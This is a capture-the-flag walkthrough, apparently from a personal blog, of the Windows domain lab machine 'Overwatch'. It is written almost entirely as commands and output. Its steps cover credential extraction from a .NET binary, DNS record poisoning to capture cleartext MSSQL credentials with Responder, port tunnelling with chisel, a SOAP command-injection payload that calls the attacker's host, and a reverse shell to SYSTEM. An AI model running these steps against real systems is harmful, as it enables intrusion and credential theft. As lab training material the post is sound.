IP=10.129.244.81
nmap -Pn -p- -T4 -vv -oG nmap.grep $IP; nmap -sVC -Pn -p$(grep -oP '\d+(?=/open)' nmap.grep | paste -sd "," -) $IP;
# Starting Nmap 7.93 ( https://nmap.org ) at 2026-01-27 15:38 CET
# Stats: 0:00:05 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
# Service scan Timing: About 23.81% done; ETC: 15:38 (0:00:06 remaining)
# Nmap scan report for S200401.overwatch.htb (10.129.17.171)
# Host is up (0.035s latency).
#
# PORT STATE SERVICE VERSION
# 53/tcp open tcpwrapped
# 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-01-27 14:38:50Z)
# 135/tcp open msrpc Microsoft Windows RPC
# 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
# 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: overwatch.htb0., Site: Default-First-Site-Name)
# 445/tcp open microsoft-ds?
# 464/tcp open kpasswd5?
# 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
# 636/tcp open tcpwrapped
# 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: overwatch.htb0., Site: Default-First-Site-Name)
# 3269/tcp open tcpwrapped
# 3389/tcp open ms-wbt-server Microsoft Terminal Services
# | ssl-cert: Subject: commonName=S200401.overwatch.htb
# | Not valid before: 2025-12-07T15:16:06
# |_Not valid after: 2026-06-08T15:16:06
# | rdp-ntlm-info:
# | Target_Name: OVERWATCH
# | NetBIOS_Domain_Name: OVERWATCH
# | NetBIOS_Computer_Name: S200401
# | DNS_Domain_Name: overwatch.htb
# | DNS_Computer_Name: S200401.overwatch.htb
# | DNS_Tree_Name: overwatch.htb
# | Product_Version: 10.0.20348
# |_ System_Time: 2026-01-27T14:39:39+00:00
# |_ssl-date: 2026-01-27T14:40:18+00:00; +18s from scanner time.
# 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
# |_http-server-header: Microsoft-HTTPAPI/2.0
# |_http-title: Not Found
# 6520/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RC0+
# |_ssl-date: 2026-01-27T14:40:18+00:00; +18s from scanner time.
# |_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
# |_ms-sql-info: ERROR: Script execution failed (use -d to debug)
# | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
# | Not valid before: 2026-01-27T14:02:16
# |_Not valid after: 2056-01-27T14:02:16
# 9389/tcp open mc-nmf .NET Message Framing
# 49664/tcp open msrpc Microsoft Windows RPC
# 49668/tcp open msrpc Microsoft Windows RPC
# 53562/tcp open msrpc Microsoft Windows RPC
# 61392/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
# 61393/tcp open msrpc Microsoft Windows RPC
# 62456/tcp filtered unknown
# 62467/tcp filtered unknown
# 64276/tcp open msrpc Microsoft Windows RPC
# Service Info: Host: S200401; OS: Windows; CPE: cpe:/o:microsoft:windows
#
# Host script results:
# | smb2-security-mode:
# | 311:
# |_ Message signing enabled and required
# | smb2-time:
# | date: 2026-01-27T14:39:43
# |_ start_date: N/A
# |_clock-skew: mean: 17s, deviation: 0s, median: 17s
#
# Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done: 1 IP address (1 host up) scanned in 99.26 seconds
nmap -sU --min-rate=5000 -p- $IP
# Starting Nmap 7.93 ( https://nmap.org ) at 2026-01-28 21:56 CET
# Nmap scan report for 10.129.244.81
# Host is up (0.035s latency).
# Not shown: 65532 open|filtered udp ports (no-response)
# PORT STATE SERVICE
# 53/udp open domain
# 123/udp open ntp
# 389/udp open ldap
#
# Nmap done: 1 IP address (1 host up) scanned in 26.58 seconds
nxc smb "$IP" -u '' -p '' --generate-hosts-file /tmp/hosts; cat /tmp/hosts >> /etc/hosts
Nothing interesting.
Guest access is allowed:
nxc smb "$IP" -u 'Guest' -p '' --sharess
# SMB 10.129.17.171 445 S200401 [*] Windows Server 2022 Build 20348 x64 (name:S200401) (domain:overwatch.htb) (signing:True) (SMBv1:False)
# SMB 10.129.17.171 445 S200401 [+] overwatch.htb\Guest:
# SMB 10.129.17.171 445 S200401 [*] Enumerated shares
# SMB 10.129.17.171 445 S200401 Share Permissions Remark
# SMB 10.129.17.171 445 S200401 ----- ----------- ------
# SMB 10.129.17.171 445 S200401 ADMIN$ Remote Admin
# SMB 10.129.17.171 445 S200401 C$ Default share
# SMB 10.129.17.171 445 S200401 IPC$ READ Remote IPC
# SMB 10.129.17.171 445 S200401 NETLOGON Logon server share
# SMB 10.129.17.171 445 S200401 software$ READ
# SMB 10.129.17.171 445 S200401 SYSVOL Logon server share
Inside the software$ share we find a program and it's libraries:
.
├── EntityFramework.dll
├── EntityFramework.SqlServer.dll
├── EntityFramework.SqlServer.xml
├── EntityFramework.xml
├── Microsoft.Management.Infrastructure.dll
├── overwatch.exe
├── overwatch.exe.config
├── overwatch.pdb
├── System.Data.SQLite.dll
├── System.Data.SQLite.EF6.dll
├── System.Data.SQLite.Linq.dll
├── System.Data.SQLite.xml
├── System.Management.Automation.dll
├── System.Management.Automation.xml
├── x64
│ └── SQLite.Interop.dll
└── x86
└── SQLite.Interop.dll
Though from some basic grep'ing and strings we dont find credentials.
Cannot auth to any remote services without credentials, RPC either, …
I decided to go back to the files I found, and stop being lazy and boot my Windows VM to analyze the .NET binary.
I like using dnSpy it's lightweight, looking at the Entry point for overwatch.exe we find credentials:

We see sqlsvc:TI0LKcfHzZw1Vv and informatio about multiple databases, we have a MSSQL that is on an unusual port 6520:
mssqlclient.py "sqlsvc:TI0LKcfHzZw1Vv@10.129.244.81" -port 6520 -windows-auth
# Impacket v0.13.0.dev0+20250717.182627.84ebce48 - Copyright Fortra, LLC and its affiliated companies
#
# [*] Encryption required, switching to TLS
# [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
# [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
# [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
# [*] INFO(S200401\SQLEXPRESS): Line 1: Changed database context to 'master'.
# [*] INFO(S200401\SQLEXPRESS): Line 1: Changed language setting to us_english.
# [*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
# [!] Press help for extra shell commands
# SQL (OVERWATCH\sqlsvc guest@master)>
select name from sys.databases;
-- name
-- ---------
-- master
--
-- tempdb
--
-- model
--
-- msdb
--
-- overwatch
Overwatch contains the EventLog database but it's empty. Looking at the linked servers we see SQL07:
SELECT srvname, isremote FROM sysservers;
-- srvname isremote
-- ------------------ --------
-- S200401\SQLEXPRESS 1
--
-- SQL07 0
EXECUTE('SELECT name from sys.databases;') AT [SQL07]
-- INFO(S200401\SQLEXPRESS): Line 1: OLE DB provider "MSOLEDBSQL" for linked server "SQL07" returned message "Login timeout expired".
Though the name resolution is failing, we need the IP of the machine.
I went back to service enumeration now that we have user credentials, no Kerberoastable nor AS-REPRoastable users, looking at BloodHound no trace of SQL07 anywhere.
nxc ldap "S200401.overwatch.htb" -u 'sqlsvc' -p 'TI0LKcfHzZw1Vv' --bloodhound -c All --dns-server "10.129.244.81"
# LDAP 10.129.244.81 389 S200401 [*] Windows Server 2022 Build 20348 (name:S200401) (domain:overwatch.htb) (signing:None) (channel binding:No TLS cert)
# LDAP 10.129.244.81 389 S200401 [+] overwatch.htb\sqlsvc:TI0LKcfHzZw1Vv
# LDAP 10.129.244.81 389 S200401 Resolved collection methods: acl, session, psremote, container, trusts, group, rdp, dcom, objectprops, localadmin
# LDAP 10.129.244.81 389 S200401 Done in 0M 8S
# LDAP 10.129.244.81 389 S200401 Compressing output into /root/.nxc/logs/S200401_10.129.244.81_2026-01-28_224003_bloodhound.zip

None of those machines seem to exist. Let's see if we can identify the IP of SQL07 with DNS:
nslookup
> server 10.129.244.81
SQL07
SQL07.overwatch.htb
No answer fom the server. It might be worth it to query the Active Directory specific DNS records, we can use dnstool.py to do so:
dnstool.py -u "overwatch.htb\sqlsvc" -p "TI0LKcfHzZw1Vv" --action query -r "SQL07" "10.129.244.81"
# [-] Connecting to host...
# [-] Binding to host
# [+] Bind OK
# [!] Target record not found!
Fair enough the machine is not even registered in DNS. In that case, we might be have permissions to poison the record, steal the session hash and even relay it, though not sure if it's any different than the NetNTLMv2 hash we get from a basic xp_dirtree call. Let's try to add a DNS record:
dnstool.py -u "overwatch.htb\sqlsvc" -p "TI0LKcfHzZw1Vv" --action add -r "SQL07" -d "10.10.15.200" "10.129.244.81"
# [-] Connecting to host...
# [-] Binding to host
# [+] Bind OK
# [-] Adding new record
# [+] LDAP operation completed successfully
dnstool.py -u "overwatch.htb\sqlsvc" -p "TI0LKcfHzZw1Vv" --action query -r "SQL07" "10.129.244.81"
# [-] Connecting to host...
# [-] Binding to host
# [+] Bind OK
# [+] Found record SQL07
# DC=SQL07,DC=overwatch.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=overwatch,DC=htb
# [+] Record entry:
# - Type: 1 (A) (Serial: 223)
# - Address: 10.10.15.200
Ok that worked, let's call EXEC('SELECT name from sys.databases;') AT [SQL07] again:
EXECUTE('SELECT name from sys.databases;') AT [SQL07]
We get the request from our smbserver listener again:
smbserver.py -smb2support EXEGOL . -debug
# Impacket v0.13.0.dev0+20250717.182627.84ebce48 - Copyright Fortra, LLC and its affiliated companies
#
# [+] Impacket Library Installation Path: /root/.local/share/pipx/venvs/impacket/lib/python3.11/site-packages/impacket
# [*] Config file parsed
# [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
# [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
# [*] Config file parsed
# [*] Config file parsed
# [*] Config file parsed
# [*] Incoming connection (10.129.244.81,59968)
# [*] AUTHENTICATE_MESSAGE (\,S200401)
# [*] User S200401\ authenticated successfully
# [*] :::00::aaaaaaaaaaaaaaaa
# [*] Connecting Share(1:IPC$)
That's curious, I was expecting a NetNTLMv2 hash but instead we got a Auth request of some sort, for some reason we don't see a username there's clearly something going on we see the \ separating Domain\Username, let's try with responder instead:
responder -I tun0
# __
# .----.-----.-----.-----.-----.-----.--| |.-----.----.
# | _| -__|__ --| _ | _ | | _ || -__| _|
# |__| |_____|_____| __|_____|__|__|_____||_____|__|
# |__|
#
# [*] Sponsor Responder: https://paypal.me/PythonResponder
# <SNIP>
# [*] Version: Responder 3.1.6.0
# [*] Author: Laurent Gaffie, <lgaffie@secorizon.com>
#
# [+] Listening for events...
#
# [MSSQL] Cleartext Client : 10.129.244.81
# [MSSQL] Cleartext Hostname : SQL07 ()
# [MSSQL] Cleartext Username : sqlmgmt
# [MSSQL] Cleartext Password : bIhBbzMMnB82yx
Oh wow, I learned something new today, I thought it would have been the same process as for xp_dirtree a.k.a. UNC paths with SMB, but I should have realized sooner that the Named Pipes uses a different protocol, apparently this is just a plaintext authentication.
I guess instead of requesting from the OS a folder trough SMB, we are requesting an authentication from the actual MSSQL server, which is running as the sqlmgmt user.
I looked further into this, the protocol used is TDS (Tabular Data Stream), it's a very old data communication protocol that allows for basic communication between computers.
By default it doesn't enforce encryption, and worse of all, the server can request plaintext. That's exactly what responder did. I was curious about why smbserver couldn't get the same result, but it makes perfect sense, the packet itself is a TDS wrapped SMB request, the named pipe is still using SMB but to reach our listener we first authenticate via TDS, so smbserver simply peeled off the TDS as it doesn't care about that, and read to us the contents of the SMB packet, which was not what we wanted. Simply, different tools, for different purposes.
There's some very interesting resources and specific advanced attacks on this subject:
Let's get back to the box, we now have credentials for sqlmgmt, in BloodHound we see that they are part of Remote Management Users, let's auth via winrm:
winrmexec "overwatch.htb/sqlmgmt:bIhBbzMMnB82yx@10.129.244.81"
# [*] '-target_ip' not specified, using 10.129.244.81
# [*] '-port' not specified, using 5985
# [*] '-url' not specified, using http://10.129.244.81:5985/wsman
#
PS C:\Users\sqlmgmt\Documents> cd ../Desktop
PS C:\Users\sqlmgmt\Desktop> type user.txt
Looking at the running processes, two stand out to me:
get-process | select-object name, id, sessionid, path -erroraction silentlycontinue
# Name Id SessionId Path
# ---- -- --------- ----
# <SNIP>
# lsass 692 0
# Microsoft.ActiveDirectory.WebServices 2996 0
# MicrosoftEdgeUpdate 2512 0
# msdtc 4064 0
# nssm 2252 0
# overwatch 4724 0
# <SNIP>
NSSM is the Non-Sucking Service Manager, looking around for it, we find C:\Program Files\nssm-2.24\, online we see it's up to date and no known vulnerabilities, though a service manager, especially a custom one, scream misconfigurations. The other process that stands out is overwatch, that's the name of the box.
Let's see if we can list the services managed by nssm. We can't directly use the .\nssm.exe binary as we are not admin, we get Error opening service manager! when we do so. Instead let's enumerate the services via the registry:
reg query "HKLM\SYSTEM\CurrentControlSet\Services" /s | Select-String "nssm" -Context 5,5
# CategoryCount REG_DWORD 0x8
# CategoryMessageFile REG_SZ C:\Program Files\Microsoft SQL
# Server\MSSQL16.SQLEXPRESS\MSSQL\Binn\Resources\1033\sqlevn70.rll
# EventMessageFile REG_SZ C:\Program Files\Microsoft SQL
# Server\MSSQL16.SQLEXPRESS\MSSQL\Binn\Resources\1033\sqlevn70.rll
# TypesSupported REG_DWORD 0xff
#
# > HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\NSSM
# > EventMessageFile REG_SZ C:\Program Files\nssm-2.24\win64\nssm.exe
# TypesSupported REG_DWORD 0x7
#
# HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\PrintBrm
# ProviderGuid REG_EXPAND_SZ {CF3F502E-B40D-4071-996F-00981EDF938E}
#
#
# HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\overwatch
# Type REG_DWORD 0x10
# Start REG_DWORD 0x2
# ErrorControl REG_DWORD 0x1
# > ImagePath REG_EXPAND_SZ C:\Program Files\nssm-2.24\win64\nssm.exe
# DisplayName REG_SZ overwatch
# ObjectName REG_SZ LocalSystem
# DelayedAutostart REG_DWORD 0x0
# FailureActionsOnNonCrashFailures REG_DWORD 0x1
# FailureActions REG_BINARY
# 00000000000000000000000003000000140000000100000060EA00000100000060EA00000100000060EA0000
Bingo! overwatch is indeed a service managed by nssm, let's see its parameters:
reg query "HKLM\SYSTEM\CurrentControlSet\Services\overwatch\Parameters"
# HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\overwatch\Parameters
# Application REG_EXPAND_SZ C:\Software\Monitoring\overwatch.exe
# AppParameters REG_EXPAND_SZ
# AppDirectory REG_EXPAND_SZ C:\Software\Monitoring
#
# HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\overwatch\Parameters\AppExit
And we confirm this is indeed the binary from the very beggining, it's located where the SMB share is serving, I hadn't noticed it while looking around because all files and folders are recursively hidden.
Looking for useful permissions using icacls we dont find anything.
I realized that I tunneled vision into dnSpy, but I totally forgot about the overwatch.exe.config file that was alongside the binary, looking into it we see:
<service name="MonitoringService">
<host>
<baseAddresses>
<add baseAddress="http://overwatch.htb:8000/MonitorService" />
</baseAddresses>
</host>
<endpoint address="" binding="basicHttpBinding" contract="IMonitoringService" />
<endpoint address="mex" binding="mexHttpBinding" contract="IMetadataExchange" />
</service>
Looking at the running services:
netstat -ano | select-string LISTEN
# <SNIP>
# TCP 0.0.0.0:8000 0.0.0.0:0 LISTENING 4
There's only one interface with firewall dictating accesses, so let's upload chisel and reverse port forward tcp/8000, first we start our listener:
chisel server -p 12345 --reverse
# 2026/01/30 21:17:16 server: Reverse tunnelling enabled
# 2026/01/30 21:17:16 server: Fingerprint dbzZJJOqLGyQ4t32Cx7/TXqgv61h3kMjt9nSst/Atn4=
# 2026/01/30 21:17:16 server: Listening on http://0.0.0.0:12345
Then we upload and connect back:
.\chisel.exe client 10.10.15.200:12345 R:8000:127.0.0.1:8000
# 2026/01/30 13:10:50 client: Connecting to ws://10.10.15.200:12345
# 2026/01/30 13:10:50 client: Connected (Latency 34.4894ms)
Now we can explore http://localhost:8000/MonitorService:

Looking further into the source code in the MonitoringService implementation we see this function:
<!-- curl -s http://127.0.0.1:8000/MonitorService\?wsdl | xmllint --format - -->
<!-- SNIP -->
<wsdl:portType name="IMonitoringService">
<wsdl:operation name="StartMonitoring">
<wsdl:input wsaw:Action="http://tempuri.org/IMonitoringService/StartMonitoring" message="tns:IMonitoringService_StartMonitoring_InputMessage"/>
<wsdl:output wsaw:Action="http://tempuri.org/IMonitoringService/StartMonitoringResponse" message="tns:IMonitoringService_StartMonitoring_OutputMessage"/>
</wsdl:operation>
<wsdl:operation name="StopMonitoring">
<wsdl:input wsaw:Action="http://tempuri.org/IMonitoringService/StopMonitoring" message="tns:IMonitoringService_StopMonitoring_InputMessage"/>
<wsdl:output wsaw:Action="http://tempuri.org/IMonitoringService/StopMonitoringResponse" message="tns:IMonitoringService_StopMonitoring_OutputMessage"/>
</wsdl:operation>
<wsdl:operation name="KillProcess">
<wsdl:input wsaw:Action="http://tempuri.org/IMonitoringService/KillProcess" message="tns:IMonitoringService_KillProcess_InputMessage"/>
<wsdl:output wsaw:Action="http://tempuri.org/IMonitoringService/KillProcessResponse" message="tns:IMonitoringService_KillProcess_OutputMessage"/>
</wsdl:operation>
</wsdl:portType>
<!-- SNIP -->
<wsdl:operation name="KillProcess">
<soap:operation soapAction="http://tempuri.org/IMonitoringService/KillProcess" style="document"/>
<wsdl:input>
<soap:body use="literal"/>
</wsdl:input>
<wsdl:output>
<soap:body use="literal"/>
</wsdl:output>
</wsdl:operation>
I got to say, I'm not the most familiar with WCF, though it just looks like an API with heavy XML/SOAP syntax. We see three methods in this API, they reflect the methods implemented in the MonitoringService class. The KillProcess is very interesting, there seems to be an injection vulnerability, user input is not sanitized:
public string KillProcess(string processName)
{
string psCommand = "Stop-Process -Name " + processName + " -Force";
string result;
try
// <SNIP>
}
Let's try to create a simple request to see if we can inject in the first place, I'll try to ping a simple HTTP server, this is our payload:
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<KillProcess xmlns="http://tempuri.org/">
<processName>test; curl.exe http://10.10.15.200;</processName>
</KillProcess>
</s:Body>
</s:Envelope>
We are using ; to break out of the first command and to separate the second argument, let's run it:
curl -X POST http://127.0.0.1:8000/MonitorService -H "Content-Type: text/xml" -H "SOAPAction: http://tempuri.org/IMonitoringService/KillProcess" -d @payload.xml
Then looking at our listener we see:
python3 -m http.server 80
# Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
# 10.129.9.113 - - [30/Jan/2026 22:48:43] "GET / HTTP/1.1" 200 -
Great, in that case, let's get the Powershell #3 (Base64) revshell from revshells.com, we send the request and we receive the connection as NT AUTHORITY\SYSTEM:
nc -lvnp 4444
# Ncat: Version 7.93 ( https://nmap.org/ncat )
# Ncat: Listening on :::4444
# Ncat: Listening on 0.0.0.0:4444
# Ncat: Connection from 10.129.9.113.
# Ncat: Connection from 10.129.9.113:62769.
whoami
# nt authority\system
cd C:\Users\Administrator\Desktop
dir
# Microsoft Edge.lnk root.txt
And we got the root flag.
2026 © Philippe Cheype
Base theme by Digital Garden